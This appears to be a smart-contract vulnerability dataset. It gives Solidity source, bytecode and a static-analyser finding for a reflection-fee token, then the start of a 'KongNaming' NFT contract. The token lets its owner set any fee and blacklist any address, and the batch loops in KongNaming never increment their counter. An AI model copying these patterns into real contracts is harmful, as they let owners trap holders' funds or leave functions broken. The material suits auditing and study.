_msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_antibot[from] != true,"ANTI BOT ACTIVATED"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) { uint256 cbfee = _amount.mul(_burnFee).div(10**2); return _totalamount.add(cbfee); } function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private { uint256 currentRate = _getRate(); uint256 tliqfee = _amount.mul(0).div(10**2); uint256 rLiquidity = tliqfee.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) {_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);} uint256 tburn = tLiquidity - tliqfee; uint256 rburn = tburn.mul(currentRate); _rOwned[address(deadAddress)] = _rOwned[address(deadAddress)].add(rburn); if(_isExcluded[address(deadAddress)]) {_tOwned[address(deadAddress)] = _tOwned[address(deadAddress)].add(tburn);} } function removeAllFee() private { if(_taxFee == 0) return; _previousTaxFee = _taxFee; _previousburnFee = _burnFee; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousburnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } // Management Functions ***Owner Only*** // function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } //True blocks the bots address function set_antibot(address account, bool active) public onlyOwner() { _antibot[account] = active; } function setFees(uint256 burnfee, uint256 taxfee) external onlyOwner() { _burnFee = burnfee; _taxFee = taxfee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function prepareForPreSale() external onlyOwner() { _taxFee = 0; _burnFee = 0; _maxTxAmount = 100000000000000 * 10**9; } function afterPreSale() external onlyOwner() { _taxFee = 5; _burnFee = 10; _maxTxAmount = 500000000000 * 10**9; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80635342acb41161011a578063a457c2d7116100ad578063dd4670641161007c578063dd46706414610404578063dd62ed3e14610417578063ea2f0b3714610450578063ec28438a14610463578063f2fde38b1461047657600080fd5b8063a457c2d7146103cd578063a69df4b5146103e0578063a9059cbb146103e8578063c0b0fda2146103fb57600080fd5b8063715018a6116100e9578063715018a6146103995780637d1db4a5146103a15780638da5cb5b146103aa57806395d89b41146103c557600080fd5b80635342acb41461034c578063557ed1ba14610378578063602bc62b1461037e57806370a082311461038657600080fd5b8063313ce5671161019d5780633bd5d1731161016c5780633bd5d173146102f8578063437823ec1461030b5780634549b0391461031e5780635134f6ab1461033157806352390c021461033957600080fd5b8063313ce567146102b45780633685d419146102c957806339509351146102dc5780633b124fe7146102ef57600080fd5b80630b78f9c0116101d95780630b78f9c01461026957806318160ddd1461027c57806323b872dd1461028e5780632d838119146102a157600080fd5b806306fdde031461020b57806307efbfdc14610229578063095ea7b3146102335780630a61415e14610256575b600080fd5b610213610489565b6040516102209190611dd2565b60405180910390f35b61023161051b565b005b610246610241366004611e43565b610567565b6040519015158152602001610220565b610231610264366004611e7d565b61057e565b610231610277366004611eb0565b6105d3565b600b545b604051908152602001610220565b61024661029c366004611ed2565b610608565b6102806102af366004611f0e565b610671565b60105460405160ff9091168152602001610220565b6102316102d7366004611f27565b6106f5565b6102466102ea366004611e43565b6108ac565b61028060135481565b610231610306366004611f0e565b6108e2565b610231610319366004611f27565b6109cc565b61028061032c366004611f42565b610a1a565b610231610aa7565b610231610347366004611f27565b610aeb565b61024661035a366004611f27565b6001600160a01b031660009081526007602052604090205460ff1690565b42610280565b600254610280565b610280610394366004611f27565b610c3e565b610231610c9d565b61028060155481565b6000546040516001600160a01b039091168152602001610220565b610213610cff565b6102466103db366004611e43565b610d0e565b610231610d5d565b6102466103f6366004611e43565b610e66565b61028060115481565b610231610412366004611f0e565b610e73565b610280610425366004611f65565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b61023161045e366004611f27565b610ef8565b610231610471366004611f0e565b610f43565b610231610484366004611f27565b610f72565b6060600e805461049890611f8f565b80601f01602080910402602001604051908101604052809291908181526020018280546104c490611f8f565b80156105115780601f106104e657610100808354040283529160200191610511565b820191906000526020600020905b8154815290600101906020018083116104f457829003601f168201915b5050505050905090565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161054590611fca565b60405180910390fd5b6005601355600a601155681b1ae4d6e2ef500000601555565b600061057433848461110b565b5060015b92915050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161054590611fca565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161054590611fca565b601191909155601355565b600061061584848461122f565b6106678433610662856040518060600160405280602881526020016120cd602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114ab565b61110b565b5060019392505050565b6000600c548211156106d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610545565b60006106e26114e5565b90506106ee838261104a565b9392505050565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161054590611fca565b6001600160a01b03811660009081526008602052604090205460ff166107875760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610545565b60005b600a548110156108a857816001600160a01b0316600a82815481106107b1576107b1611fff565b6000918252602090912001546001600160a01b0316141561089657600a80546107dc9060019061202b565b815481106107ec576107ec611fff565b600091825260209091200154600a80546001600160a01b03909216918390811061081857610818611fff565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600582526040808220829055600890925220805460ff19169055600a80548061087057610870612042565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806108a081612058565b91505061078a565b5050565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916105749185906106629086611508565b3360008181526008602052604090205460ff16156109575760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610545565b600061096283611567565b505050506001600160a01b03841660009081526004602052604090205491925061098e919050826115b6565b6001600160a01b038316600090815260046020526040902055600c546109b490826115b6565b600c55600d546109c49084611508565b600d55505050565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161054590611fca565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000600b54831115610a6e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610545565b81610a8d576000610a7e84611567565b50939550610578945050505050565b6000610a9884611567565b50929550610578945050505050565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161054590611fca565b6000601381905560115569152d02c7e14af6800000601555565b6000546001600160a01b03163314610b155760405162461bcd60e51b815260040161054590611fca565b6001600160a01b03811660009081526008602052604090205460ff1615610b7e5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610545565b6001600160a01b03811660009081526004602052604090205415610bd8576001600160a01b038116600090815260046020526040902054610bbe90610671565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600860205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b6001600160a01b03811660009081526008602052604081205460ff1615610c7b57506001600160a01b031660009081526005602052604090205490565b6001600160a01b03821660009081526004602052604090205461057890610671565b6000546001600160a01b03163314610cc75760405162461bcd60e51b815260040161054590611fca565b600080546040516001600160a01b03909116906000805160206120f5833981519152908390a3600080546001600160a01b0319169055565b6060600f805461049890611f8f565b6000610574338461066285604051806060016040528060258152602001612115602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906114ab565b6001546001600160a01b03163314610dc35760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610545565b6002544211610e145760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610545565b600154600080546040516001600160a01b0393841693909116916000805160206120f583398151915291a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b600061057433848461122f565b6000546001600160a01b03163314610e9d5760405162461bcd60e51b815260040161054590611fca565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055610ecc8142612073565b600255600080546040516001600160a01b03909116906000805160206120f5833981519152908390a350565b6000546001600160a01b03163314610f225760405162461bcd60e51b815260040161054590611fca565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b03163314610f6d5760405162461bcd60e51b815260040161054590611fca565b601555565b6000546001600160a01b03163314610f9c5760405162461bcd60e51b815260040161054590611fca565b6001600160a01b0381166110015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610545565b600080546040516001600160a01b03808516939216916000805160206120f583398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006106ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f8565b60008261109b57506000610578565b60006110a7838561208b565b9050826110b485836120aa565b146106ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610545565b6001600160a01b03831661116d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610545565b6001600160a01b0382166111ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610545565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610545565b6001600160a01b0382166112f55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610545565b600081116113575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610545565b6001600160a01b03831660009081526009602052604090205460ff161515600114156113ba5760405162461bcd60e51b815260206004820152601260248201527110539512481093d5081050d512559055115160721b6044820152606401610545565b6000546001600160a01b038481169116148015906113e657506000546001600160a01b03838116911614155b1561144e5760155481111561144e5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610545565b6001600160a01b03831660009081526007602052604090205460019060ff168061149057506001600160a01b03831660009081526007602052604090205460ff165b15611499575060005b6114a584848484611626565b50505050565b600081848411156114cf5760405162461bcd60e51b81526004016105459190611dd2565b5060006114dc848661202b565b95945050505050565b60008060006114f261174b565b9092509050611501828261104a565b9250505090565b6000806115158385612073565b9050838110156106ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610545565b600080600080600080600080600061157e8a6118cd565b925092509250600080600061159c8d86866115976114e5565b61190f565b919f909e50909c50959a5093985091965092945050505050565b60006106ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ab565b600081836116195760405162461bcd60e51b81526004016105459190611dd2565b5060006114dc84866120aa565b806116335761163361195f565b6001600160a01b03841660009081526008602052604090205460ff16801561167457506001600160a01b03831660009081526008602052604090205460ff16155b156116895761168484848461197f565b611735565b6001600160a01b03841660009081526008602052604090205460ff161580156116ca57506001600160a01b03831660009081526008602052604090205460ff165b156116da57611684848484611aa6565b6001600160a01b03841660009081526008602052604090205460ff16801561171a57506001600160a01b03831660009081526008602052604090205460ff165b1561172a57611684848484611b4f565b611735848484611bc2565b806114a5576114a5601454601355601254601155565b600c54600b546000918291825b600a5481101561189d578260046000600a848154811061177a5761177a611fff565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806117e557508160056000600a84815481106117be576117be611fff565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156117fb57600c54600b54945094505050509091565b61184160046000600a848154811061181557611815611fff565b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906115b6565b925061188960056000600a848154811061185d5761185d611fff565b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906115b6565b91508061189581612058565b915050611758565b50600b54600c546118ad9161104a565b8210156118c457600c54600b549350935050509091565b90939092509050565b6000806000806118dc85611c06565b905060006118e986611c28565b90506000611901826118fb89866115b6565b906115b6565b979296509094509092505050565b600080808061191e888661108c565b9050600061192c888761108c565b9050600061193a888861108c565b9050600061194c826118fb86866115b6565b939b939a50919850919650505050505050565b60135461196857565b601380546014556011805460125560009182905555565b60008060008060008061199187611567565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506119c390886115b6565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546119f290876115b6565b6001600160a01b03808b1660009081526004602052604080822093909355908a1681522054611a219086611508565b6001600160a01b038916600090815260046020526040902055611a448188611c51565b611a4e8483611dae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a9391815260200190565b60405180910390a3505050505050505050565b600080600080600080611ab887611567565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150611aea90876115b6565b6001600160a01b03808b16600090815260046020908152604080832094909455918b16815260059091522054611b209084611508565b6001600160a01b038916600090815260056020908152604080832093909355600490522054611a219086611508565b600080600080600080611b6187611567565b6001600160a01b038f16600090815260056020526040902054959b50939950919750955093509150611b9390886115b6565b6001600160a01b038a16600090815260056020908152604080832093909355600490522054611aea90876115b6565b600080600080600080611bd487611567565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506119f290876115b6565b60006105786064611c226013548561108c90919063ffffffff16565b9061104a565b600080611c456064611c226011548661108c90919063ffffffff16565b90506106ee8282611508565b6000611c5b6114e5565b90506000611c6e6064611c22858461108c565b90506000611c7c828461108c565b30600090815260046020526040902054909150611c999082611508565b3060009081526004602090815260408083209390935560089052205460ff1615611ce85730600090815260056020526040902054611cd79083611508565b306000908152600560205260409020555b6000611cf4838761202b565b90506000611d02828661108c565b6003546001600160a01b0316600090815260046020526040902054909150611d2a9082611508565b600380546001600160a01b03908116600090815260046020908152604080832095909555925490911681526008909152205460ff1615611da5576003546001600160a01b0316600090815260056020526040902054611d899083611508565b6003546001600160a01b03166000908152600560205260409020555b50505050505050565b600c54611dbb90836115b6565b600c55600d54611dcb9082611508565b600d555050565b600060208083528351808285015260005b81811015611dff57858101830151858201604001528201611de3565b81811115611e11576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114611e3e57600080fd5b919050565b60008060408385031215611e5657600080fd5b611e5f83611e27565b946020939093013593505050565b80358015158114611e3e57600080fd5b60008060408385031215611e9057600080fd5b611e9983611e27565b9150611ea760208401611e6d565b90509250929050565b60008060408385031215611ec357600080fd5b50508035926020909101359150565b600080600060608486031215611ee757600080fd5b611ef084611e27565b9250611efe60208501611e27565b9150604084013590509250925092565b600060208284031215611f2057600080fd5b5035919050565b600060208284031215611f3957600080fd5b6106ee82611e27565b60008060408385031215611f5557600080fd5b82359150611ea760208401611e6d565b60008060408385031215611f7857600080fd5b611f8183611e27565b9150611ea760208401611e27565b600181811c90821680611fa357607f821691505b60208210811415611fc457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008282101561203d5761203d612015565b500390565b634e487b7160e01b600052603160045260246000fd5b600060001982141561206c5761206c612015565b5060010190565b6000821982111561208657612086612015565b500190565b60008160001904831182151516156120a5576120a5612015565b500290565b6000826120c757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220876c6a29d7c04580df0f7cd9308df2deff4c52ea54db15652a6762dd442139a464736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
35
0x02afD7FD5B1C190506F538B36e7741a2F33D715d
/** *Submitted for verification at Etherscan.io on 2021-09-24 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; // Part: IERC165 interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: IKongNaming interface IKongNaming { event SetName(uint256 indexed tokenID, bytes32 name); event SetBio(uint256 indexed tokenID, string bio); function setName(bytes32 name, uint256 tokenID) external payable; function setBio(string memory bio, uint256 tokenID) external payable; function setNameAndBio( bytes32 name, string memory bio, uint256 tokenID ) external payable; function batchSetName(bytes32[] memory names, uint256[] memory tokenIDs) external payable; function batchSetBio(string[] memory bios, uint256[] memory tokenIDs) external payable; function batchSetNameAndBio( bytes32[] memory names, string[] memory bios, uint256[] memory tokenIDs ) external payable; } // Part: OpenZeppelin/[email protected]/ReentrancyGuard /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Part: IERC721 interface IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: KongNaming.sol contract KongNaming is IKongNaming, ReentrancyGuard { mapping(uint256 => bytes32) public names; mapping(uint256 => string) public bios; mapping(uint256 => bool) private nameWasSet; mapping(uint256 => bool) private bioWasSet; address public admin; address payable public beneficiary; IERC721 public immutable rkl; uint256 public changePrice = 0.025 ether; constructor( address newAdmin, address payable newBeneficiary, address newRkl ) { ensureAddressNotZero(newAdmin); ensureAddressNotZero(newBeneficiary); ensureAddressNotZero(newRkl); rkl = IERC721(newRkl); admin = newAdmin; beneficiary = newBeneficiary; } function setName(bytes32 name, uint256 tokenID) external payable override nonReentrant { // check that the caller is either an owner or admin bool isOwner = isOwnerOfKong(tokenID); require(msg.sender == admin || isOwner, "KongNaming::unauthorized"); // if this is the first time the name is set, mark that the // next time won't be and set the name if (nameWasSet[tokenID] == false) { nameWasSet[tokenID] = true; } else { // if it was the owner that called the function, require // the payment if (isOwner) { require( msg.value == changePrice, "KongNaming::insufficient ether sent" ); } } names[tokenID] = name; emit IKongNaming.SetName(tokenID, name); } function setBio(string memory bio, uint256 tokenID) external payable override nonReentrant { // check that the caller is either an owner or admin bool isOwner = isOwnerOfKong(tokenID); require(msg.sender == admin || isOwner, "KongNaming::unauthorized"); // if this is the first time the bio is set, mark that the // next time won't be and set the bio if (bioWasSet[tokenID] == false) { bioWasSet[tokenID] = true; } else { // if it was the owner that called the function, require // the payment if (isOwner) { require( msg.value == changePrice, "KongNaming::insufficient ether sent" ); } } bios[tokenID] = bio; emit IKongNaming.SetBio(tokenID, bio); } function setNameAndBio( bytes32 name, string memory bio, uint256 tokenID ) external payable override nonReentrant { bool isOwner = isOwnerOfKong(tokenID); require(msg.sender == admin || isOwner, "KongNaming::unauthorized"); uint256 payableSets = 0; if (bioWasSet[tokenID] == false) { bioWasSet[tokenID] = true; } else { payableSets += 1; } if (nameWasSet[tokenID] == false) { nameWasSet[tokenID] = true; } else { payableSets += 1; } if (isOwner) { require( msg.value == payableSets * changePrice, "KongNaming::insufficient ether sent" ); } names[tokenID] = name; bios[tokenID] = bio; emit IKongNaming.SetName(tokenID, name); emit IKongNaming.SetBio(tokenID, bio); } function batchSetName(bytes32[] memory _names, uint256[] memory tokenIDs) external payable override nonReentrant { // sanity checks require( _names.length == tokenIDs.length, "KongNaming::different length names and tokenIDs" ); // returns true if the sender is owner of all the passed tokenIDs bool ownerOfAllKongs = isOwnerOfKongs(tokenIDs); // require the caller to be the owner of all of the tokenIDs or be // an admin require( msg.sender == admin || ownerOfAllKongs, "KongNaming::unauthorized" ); // counter to check how much ether should be sent uint256 payableSets = 0; for (uint256 i = 0; i < _names.length; i) { if (nameWasSet[tokenIDs[i]] == false) { nameWasSet[tokenIDs[i]] = true; } else { payableSets += 1; } names[tokenIDs[i]] = _names[i]; emit IKongNaming.SetName(tokenIDs[i], _names[i]); } // if it is owner who called, ensure that they have sent adequate // payment if (ownerOfAllKongs) { require( msg.value == payableSets * changePrice, "KongNaming::insufficient ether sent" ); } } function batchSetBio(string[] memory _bios, uint256[] memory tokenIDs) external payable override nonReentrant { require( _bios.length == tokenIDs.length, "KongNaming::different length bios and tokenIDs" ); bool ownerOfAllKongs = isOwnerOfKongs(tokenIDs); require( msg.sender == admin || ownerOfAllKongs, "KongNaming::not authorized" ); uint256 payableSets = 0; for (uint256 i = 0; i < _bios.length; i) { if (bioWasSet[tokenIDs[i]] == false) { 